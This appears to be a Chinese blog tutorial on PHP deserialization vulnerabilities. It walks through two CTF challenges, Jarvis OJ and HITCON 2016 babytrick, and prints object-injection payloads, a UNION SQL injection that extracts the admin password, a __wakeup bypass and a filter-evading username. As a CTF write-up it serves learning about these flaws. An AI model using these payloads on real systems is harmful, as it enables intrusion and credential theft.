序列化

序列化说通俗点就是把一个对象变成可以传输的字符串

php serialize()函数

用于序列化对象或数组,并返回一个字符串。序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。

<?php
$sites = array('Google', 'Microsoft', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data . PHP_EOL;
?>

输出:

a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}
解释
a: 代表数组(如果是o就代表对象(object))
3: 代表数组里面有3个变量
i: 代表数据类型(i:int;s:string)
6: 代表数据长度

反序列化

php unserialize()函数

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>

输出:

Array ( [0] => Google [1] => Microsoft [2] => Facebook )

魔法方法

在php的语法中,有一些系统自带的方法名,均以双下划线开头,它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个:

__construct()...........在每次创建新对象时先调用

__destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行

__toString()............用于一个类被当成字符串时应怎样回应

__sleep() ..............在被序列化之前运行

__wakeup()..............反序列化时被调用

实例分析

Jarvis 神盾局的秘密

通过php文件包含漏洞获得源码,这里仅介绍后面的php反序列化漏洞部分

index.php:

<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

shield.php

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

__construct函数在实例被创建的时候(也就是new Shield()的时候)执行,所以不会影响对$file的操作

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$shield=new Shield('pctf.php');
echo serialize($shield);
?>

输出:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload:

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

Hitcon-ctf-2016 babytrick

https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick

<?php
//include:将 PHP 文件的内容插入另一个 PHP 文件
include "config.php";
class HITCON{
//private:被private修饰的变量和方法,只能在所在的类的内部被调用和修改,不可以在类的外部被访问。在子类中也不可以。
private $method;
private $args;
private $conn;
//定义一个构造方法初始化赋值
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function show() {
list($username) = func_get_args();
//sprint:把格式化的字符串写入一个变量中
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
} }
function login() {
global $FLAG;
list($username, $password) = func_get_args();
//trim:移除字符串两侧的空白字符或其他预定义字符
//mysql_escape_string:转义特殊字符
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password)));
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
//stripos:查找字符串第一次出现的位置
if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}
$obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
function source() {
//highlight_file:对文件进行语法高亮显示
highlight_file(__FILE__);
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "CREATE TABLE IF NOT EXISTS users (
username VARCHAR(64),
password VARCHAR(64),
role VARCHAR(64)
) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("show", "login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
} else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
} else {
new HITCON("source", array());
}
?>

源码审计:

php反序列化漏洞、对象注入,unserialize函数没有过滤而__wakeup函数进行了过滤,绕过__wakeup函数:对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行(参考链接4)

首先传入参数data需要构造序列化,通过sql注入获取orange用户的数据库密码

show()

function show() {
list($username) = func_get_args();
//sprint:把格式化的字符串写入一个变量中
$sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
$obj = $this->__query($sql);
if ( $obj != false ) {
$this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
} else {
$this->__die("Nobody Nobody But You!");
}
}

通过分析show方法,构造如下:

payload:

<?php
class HITCON{
private $method="show";
private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- ");
private $conn=1;
}
$hit = new HITCON();
$result = serialize($hit);
var_dump($result);
?>

执行的sql语句为:

SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '

疑问:不知为何username的值也是有限制,输入一些其他的字符并不能够得到结果

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}

构造如下:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}

说明:至于为什么加上%00:当字符串为private类型时,序列化时生成的序列化字符串中类名前后会有0×00

得到:{"msg":"root is admin"}

login()

function login() {
global $FLAG; list($username, $password) = func_get_args();
$username = strtolower(trim(mysql_escape_string($username)));
$password = strtolower(trim(mysql_escape_string($password))); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
} $obj = $this->__query($sql);
if ( $obj != false && $obj->role == 'admin' ) {
$this->__die("Hi, Orange! Here is your flag: " . $FLAG);
} else {
$this->__die("Admin only!");
}
}
 if ( $username == 'orange' || stripos($sql, 'orange') != false )

可以看到对于用户名进行了过滤,可以参考连接3的绕过方法

payload:

<?php
class HITCON{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$args['username'] = 'orÃnge';
$args['password'] = 'root';
$data = new HITCON('login',$args);
var_dump(serialize($data));
?>

得到:

O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

构造:

O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}

参考

(1)https://www.freebuf.com/articles/web/167721.html

(2)https://blog.csdn.net/qq_40996739/article/details/82724602

(3)https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/

(4)https://www.freebuf.com/vuls/116705.html

PHP反序列化漏洞研究的更多相关文章

  1. fastjson反序列化漏洞研究(上)

    前言 最近护网期间,又听说fastjson传出“0day”,但网上并没有预警,在github上fastjson库中也有人提问关于fastjson反序列化漏洞的详情.也有人说是可能出现了新的绕过方式.不 ...

  2. fastjson反序列化漏洞研究(下)

    之前的文章显示字符太多 拒绝显示  只好分为两篇了 这样我们只需要找到可以利用的类,构造poc链就好了,这个和以前的java反序列化漏洞类似,先不说.网上最早的poc是使用com.sun.org.ap ...

  3. Fastjson反序列化漏洞研究

    0x01 Brief Description java处理JSON数据有三个比较流行的类库,gson(google维护).jackson.以及今天的主角fastjson,fastjson是阿里巴巴一个 ...

  4. 五个demo案例带你学习PHP反序列化漏洞

    一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解..写篇文章记录下. 直白点就是围绕着serialize和unserialize两个函数. 一个用于序列化,一个用于反序列化. 我们通常把字 ...

  5. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Node.js 反序列化漏洞远程执行代码(CVE-2017-5941)

    2.1 摘要 2.1.1 漏洞介绍 漏洞名称: Exploiting Node.js deserialization bug for Remote Code Execution 漏洞CVE id: C ...

  9. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

随机推荐

  1. 带你认识SATA、mSATA 、PCIe和M.2四种接口

    http://mst.zol.com.cn/615/6150989.html 犹记得当年Windows7系统体验指数中,那5.9分磁盘分数,在其余四项的7.9分面前,似乎已经告诉我们机械硬盘注定被时代 ...

  2. zabbix监控winserver网卡流量

    当前基于windows2008系统安装配置zabbix客户端,服务端为linux系统 1.设置防火墙规则 开启防火墙入站(tcp和udp)10050端口 2.在zabbix官网上下载windows包 ...

  3. ajax图片上传,单个按钮实现选择图片和上传

    //图片原件上传功能 function gosubmit(file, key) { var formData = new FormData($("#inputForm")[0]); ...

  4. margin 负值问题

    * margin-top 和 margin-left 负值,自身元素向上.向左移动: * margin-right 负值,右侧元素左移,自身元素不受影响: * margin-bottom 负值,下方元 ...

  5. java对象属性为date oracle数据库字段为Timestamp 处理方式

    解决方案 SimpleDateFormat df1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date da ...

  6. 大数据学习之BigData常用算法和数据结构

    大数据学习之BigData常用算法和数据结构 1.Bloom Filter     由一个很长的二进制向量和一系列hash函数组成     优点:可以减少IO操作,省空间     缺点:不支持删除,有 ...

  7. The Preliminary Contest for ICPC Asia Shanghai 2019 (B L )

    B. Light bulbs 思路:差分 + 离散化, 好不容易懂了差分却没想到离散化,还是要罗老板出马..... AC代码: #include<bits/stdc++.h> using ...

  8. MySQL数据库学习初步

    我使用的环境是Win7,开始学习PHP和MySQL,并且买了本<Head First PHP & MySQL>,可以从Head First Labs官网获得HeadFirst系列书 ...

  9. shell编程:有类型的变量

    1.通过 declare 和 typeset 命令 declare 和 typeset 两者等价 declare 和 typeset 都是用来定义变量类型的 下面以 declare 进行总结 2.de ...

  10. 【Neo4j查询优化系列】如何快速统计节点的关系数

    在图数据库中我们经常需要统计节点上的关系数目.一种常见的查询写法是这样的: MATCH (n:Person {name:'Keanu Reeves'})-[]-() RETURN count(*); ...